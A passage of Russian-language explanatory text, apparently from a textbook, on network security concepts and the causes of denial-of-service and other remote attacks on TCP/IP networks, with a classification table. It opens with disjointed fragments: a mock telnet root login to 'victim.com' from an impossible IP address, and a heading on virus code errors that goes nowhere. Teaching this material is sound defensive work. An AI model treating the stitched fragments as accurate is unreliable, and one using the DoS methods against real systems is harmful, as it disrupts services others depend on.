Trying 351.227.61.23... Connected to victim.com. Escape character is '^]'. Linux 1.2.13 (victim.com) (ttyp0) Victim login: hacker
Password: bash# cd / root
Ошибки в коде вируса
Вирус содержал некоторое количество ошибок - от очень тонких и почти не влияющих на его работу, до грубых и неуклюжих. Остановимся на них подробнее.
Основные понятия компьютерной безопасности
Для того, чтобы рассматривать в дальнейшем вопросы безопасности в Internet, необходимо напомнить основные понятия, которыми оперирует теория компьютерной безопасности. Вообще говоря, их всего три: это угрозы, уязвимости и атаки. Хотя искушенному читателю смысл их и так достаточно хорошо ясен, постараемся неформально пояснить его.
Итак, угроза безопасности компьютерной системы - это потенциально возможное происшествие, неважно, преднамеренное или нет, которое может оказать нежелательное воздействие на саму систему, а также на информацию, хранящуюся в ней. Иначе говоря, угроза - это нечто плохое, что когда-нибудь может произойти.
Уязвимость компьютерной системы - это некая ее неудачная характеристика, которая делает возможным возникновение угрозы. Другими словами, именно из-за наличия уязвимостей в системе происходят нежелательные события.
Наконец,атака на компьютерную систему - это действие, предпринимаемое злоумышленником, которое заключается в поиске и использовании той или иной уязвимости. Таким образом, атака - это реализация угрозы. Заметим, что такое толкование атаки (с участием человека, имеющего злой умысел), исключает присутствующий в определении угрозы элемент случайности, но, как показывает опыт, часто бывает невозможно различить преднамеренные и случайные действия, и хорошая система защиты должна адекватно реагировать на любое из них.
Далее, исследователи обычно выделяют три основных вида угроз безопасности - это угрозы раскрытия, целостности и отказа в обслуживании.
Угроза раскрытия заключается том, что информация становится известной тому, кому не следовало бы ее знать. В терминах компьютерной безопасности угроза раскрытия имеет место всякий раз, когда получен доступ к некоторой конфиденциальной информации, хранящейся в вычислительной системе или передаваемой от одной системы к другой. Иногда вместо слова "раскрытие" используются термины "кража" или "утечка" .
Угроза целостности включает в себя любое умышленное изменение (модификацию или даже удаление) данных, хранящихся в вычислительной системе или передаваемых из одной системы в другую. Обычно считается, что угрозе раскрытия подвержены в большей степени государственные структуры, а угрозе целостности - деловые или коммерческие.
Угроза отказа в обслуживании возникает всякий раз, когда в результате некоторых действий блокируется доступ к некоторому ресурсу вычислительной системы. Реально блокирование может быть постоянным, так чтобы запрашиваемый ресурс никогда не был получен, или оно может вызвать только задержку запрашиваемого ресурса, достаточно долгую для того, чтобы он стал бесполезным. В таких случаях говорят, что ресурс исчерпан.
Особенности безопасности компьютерных сетей
Основной особенностью любой сетевой системы является то, что ее компоненты распределены в пространстве и связь между ними физически осуществляется при помощи сетевых соединений (коаксиальный кабель, витая пара, оптоволокно и т. п.) и программно при помощи механизма сообщений. При этом все управляющие сообщения и данные, пересылаемые между объектами распределенной вычислительной системы (ВС), передаются по сетевым соединениям в виде пакетов обмена.
Сетевые системы характерны тем, что, наряду с обычными (локальными) атаками, осуществляемыми в пределах одной компьютерной системы, к ним применим специфический вид атак, обусловленный распределенностью ресурсов и информации в пространстве. Это так называемые сетевые (или удаленные) атаки. Они характерны, во-первых, тем, что злоумышленник может находиться за тысячи километров от атакуемого объекта, и, во-вторых, тем, что нападению может подвергаться не конкретный компьютер, а информация, передающаяся по сетевым соединениям. С развитием локальных и глобальных сетей именно удаленные атаки становятся лидирующими как по количеству попыток, так и по успешности их применения и, соответственно, обеспечение безопасности ВС с точки зрения противостояния удаленным атакам приобретает первостепенное значение. Специфика распределенных ВС состоит в том, что если в локальных ВС наиболее частыми были угрозы раскрытия и целостности, то в сетевых системах, как будет показано далее, на первое место выходит угроза отказа в обслуживании.
Под удаленной атакой будем понимать информационное разрушающее воздействие на распределенную ВС, программно осуществляемое по каналам связи. Это определение охватывает обе особенности сетевых систем - распределенность компьютеров и распределенность информации. Поэтому далее будут рассмотрены два подвида таких атак - это удаленные атаки на инфраструктуру и протоколы сети и удаленные атаки на телекоммуникационные службы. Первые используют уязвимости в сетевых протоколах и инфраструктуре сети, а вторые - уязвимости в телекоммуникационных службах. При этом под инфраструктурой сети мы понимаем сложившуюся систему организации отношений между объектами сети и используемые в сети сервисные службы.
Отказ в обслуживании
Одной из основных задач, возлагаемых на сетевую ОС, функционирующую на каждом из объектов распределенной ВС, является обеспечение надежного удаленного доступа с любого объекта сети к данному объекту. В общем случае в распределенной ВС каждый субъект системы должен иметь возможность подключиться к любому объекту РВС и получить в соответствии со своими правами удаленный доступ к его ресурсам. Обычно в вычислительных сетях возможность предоставления удаленного доступа реализуется следующим образом: на объекте РВС в сетевой ОС запускаются на выполнение ряд программ-серверов (например, FTP-сервер, WWW-сервер и т.п.), предоставляющих удаленный доступ к ресурсам данного объекта. Данные программы-серверы входят в состав телекоммуникационных служб предоставления удаленного доступа. Задача сервера состоит в том, чтобы, находясь в памяти операционной системы объекта РВС, постоянно ожидать получения запроса на подключение от удаленного объекта. В случае получения подобного запроса сервер должен по возможности передать на запросивший объект ответ, в котором либо разрешить подключение, либо нет (под-ключение к серверу специально описано очень схематично, так как подробности в данный момент не имеют значения). По аналогичной схеме происходит создание виртуального канала связи, по которому обычно взаимодействуют объекты РВС. В этом случае непосредственно ядро сетевой ОС обрабатывает приходящие извне запросы на создание виртуального канала (ВК) и передает их в соответствии с идентификатором запроса (порт или сокет) прикладному процессу, которым является соответствующий сервер.
Очевидно, что сетевая операционная система способна иметь только ограниченное число открытых виртуальных соединений и отвечать лишь на ограниченное число запросов. Эти ограничения зависят от различных параметров системы в целом, основными из которых являются быстродействие ЭВМ, объем оперативной памяти и пропускная способность канала связи (чем она выше, тем больше число возможных запросов в единицу времени).
Основная проблема состоит в том, что при отсутствии статической ключевой информации в РВС идентификация запроса возможна только по адресу его отправителя. Если в распределенной ВС не предусмотрено средств аутентификации адреса отправителя, то есть инфраструктура РВС позволяет с одного объекта системы передавать на другой атакуемый объект бесконечное число анонимных запросов на подключение от имени других объектов, то в этом случае будет иметь успех типовая удаленная атака "Отказ в обслуживании" (пример подобной атаки на сеть Internet - п. 4.6). Результат применения этой удаленной атаки - нарушение на атакованном объекте работоспособности соответствующей службы предоставления удаленного доступа, то есть невозможность получения удаленного доступа с других объектов РВС - отказ в обслуживании!
Вторая разновидность этой типовой удаленной атаки состоит в передаче с одного адреса такого количества запросов на атакуемый объект, какое позволит трафик (направленный "шторм" запросов). В этом случае, если в системе не предусмотрены правила, ограничивающие число принимаемых запросов с одного объекта (адреса) в единицу времени, то результатом этой атаки может являться как переполнение очереди запросов и отказа одной из телекоммуникационных служб, так и полная остановка компьютера из-за невозможности системы заниматься ничем другим, кроме обработки запросов.
И последней, третьей разновидностью атаки "Отказ в обслуживании" является передача на атакуемый объект некорректного, специально подобранного запроса. В этом случае при наличии ошибок в удаленной системе возможно зацикливание процедуры обработки запроса, переполнение буфера с последующим зависанием системы (пример в п. 4.7.2 - "Ping Death" ) и т. п.
Типовая удаленная атака "Отказ в обслуживании" является активным воздействием (класс 1.2), осуществляемым с целью нарушения работоспособности системы (класс 2.3), безусловно относительно цели атаки (класс 3.3). Данная УА является однонаправленным воздействием (класс 4.2), как межсегментным (класс 5.1), так и внутрисегментным (класс 5.2), осуществляемым на транспортном (класс 6.4) и прикладном (класс 6.7) уровнях модели OSI.
Таблица 3.2
Классификация типовых удаленных атак на распределенные ВС
| Типовая удаленная атака | Характер воздействия | Цель воздействия | Условие начала осуществления воздействия | Наличие обратной связи с атакуемым объектом | Расположение субъекта атаки относительно атакуемого объекта | Уровень модели OSI | |||||||||||||
| Класс воздействия | 1.1 | 1.2 | 2.1 | 2.2 | 2.3 | 3.1 | 3.2 | 3.3 | 4.1 | 4.2 | 5.1 | 5.2 | 6.1 | 6.2 | 6.3 | 6.4 | 6.5 | 6.6 | 6.7 |
| Анализ сетевого трафика | + | - | + | - | - | - | - | + | - | + | + | - | - | + | - | - | - | - | - |
| Подмена доверенного объекта РВС | - | + | + | + | - | - | + | - | + | + | + | + | - | - | + | + | - | - | - |
| Внедрение в РВС ложного объекта путем навязывания ложного маршрута | - | + | + | + | + | - | - | + | + | + | + | + | - | - | + | - | - | - | - |
| Внедрение в РВС ложного объекта путем использования недостатков алгоритмов удаленного поиска | - | + | + | + | - | + | - | + | + | - | + | + | - | + | + | + | - | - | - |
| Отказ в обслуживании | - | + | - | - | + | - | - | + | - | + | + | + | - | + | + | + | + | + | + |
Отсутствие контроля за виртуальными каналами связи между объектами РВС
Как было показано в п. 3.2.4 и в п. 4.6 (нарушение работоспособности хоста в сети Internet) объекты распределенной ВС, взаимодействующие по виртуальным каналам, могут подвергаться типовой УА "Отказ в обслуживании" . Особенность этой атаки состоит в том, что, действуя абсолютно легальными средствами системы, можно удаленно добиться нарушения ее работоспособности. Напомним, что, данная УА реализуется передачей множественных запросов на создание соединения (виртуального канала), в результате чего либо переполняется число возможных соединений, либо система, занятая обработкой ответов на запросы, вообще перестает функционировать. В чем причина успеха данной УА? В предыдущем пункте было показано, что взаимодействие объектов РВС по виртуальным каналам позволяет единственным способом обеспечить защиту соединения в глобальной сети. Однако в использовании ВК есть как несомненные плюсы, так и очевидные минусы. К минусам относится необходимость контроля над соединением. При этом задача контроля распадается на две подзадачи:
контроль за созданием соединения;
контроль за использованием соединения.
Если вторая задача решается довольно просто (обычно соединение разрывается по тайм-ауту, определенному системой - так сделано во всех известных сетевых ОС), то решение задачи контроля за созданием соединения представляется нетривиальным (п. 6.4). Именно отсутствие приемлемого решения этой задачи является основной причиной успеха типовой УА "Отказ в обслуживании" . Сложность контроля над созданием ВК состоит в том, что в системе, в которой отсутствует статическая ключевая информация о всех ее объектах, невозможно отделить ложные запросы на создание соединения от настоящих. Очевидно также, что если один субъект сетевого взаимодействия будет иметь возможность анонимно занимать неограниченное число каналов связи с удаленным объектом, то подобная система может быть полностью парализована данным субъектом (пример - существующая сеть Internet в стандарте IPv4)! Поэтому, если любой объект в распределенной системе может анонимно послать сообщение от имени любого другого объекта (например, в Internet маршрутизаторы не проверяют IP-адрес источника отправления), то в подобной распределенной ВС в принципе невозможен контроль за созданием виртуальных соединений. Поэтому основная причина, по которой возможна типовая УА "Отказ в обслуживании" и ей подобные - это отсутствие в РВС возможности контроля за маршрутом сообщений.
Отсутствие в базовых протоколах Internet криптозащиты сообщений
В существующих базовых протоколах семейства TCP/IP, обеспечивающих взаимодействие на сетевом-сеансовом уровнях, не предусмотрена возможность шифрования сообщений, хотя очевидно, что добавить ее в протокол TCP не составляло труда. Разработчики этих базовых протоколов решили переложить задачу криптозащиты на протоколы более высоких уровней, например, прикладного. При этом базовые протоколы прикладного уровня (FTP, TELNET, HTTP и др.) также не предусматривали никакого шифрования сообщений. Только недавно появился общедоступный прикладной протокол SSL, встроенный в Netscape Navigator, позволяющий как надежно зашифровать сообщение, так и подтвердить его подлинность (п. 7.2.2.1).
В заключении к этой главе хотелось бы заметить, что все описанные выше причины, по которым возможны удаленные атаки на сетевые соединения, делают сеть Internet небезопасной. Поэтому, в принципе, все пользователи этой сети пользуются ее услугами на свой страх и риск и могут быть атакованы в любой момент. В настоящее время пользователи сети Internet в большинстве своем из-за абсолютного непонимания источников и реальной силы угроз находятся в постоянном беспокойстве. Это напоминает тот вирусный бум, который был в начале 90-х годов. Данная глава преследовала цель объяснить и продемонстрировать исходящие из сети Internet возможные угрозы и причины их возникновения.
Отсутствие в Internet полной информации
Очевидно, что в глобальной сети невозможно обеспечить на каждом ее объекте наличие информации о любом другом объекте в сети. Поэтому, как говорилось ранее, необходимо использовать потенциально опасные алгоритмы удаленного поиска. В сети Internet используется по меньшей мере два алгоритма удаленного поиска: ARP и DNS. Удаленные атаки, направленные на эти протоколы см. в п. 4.2-4.3.
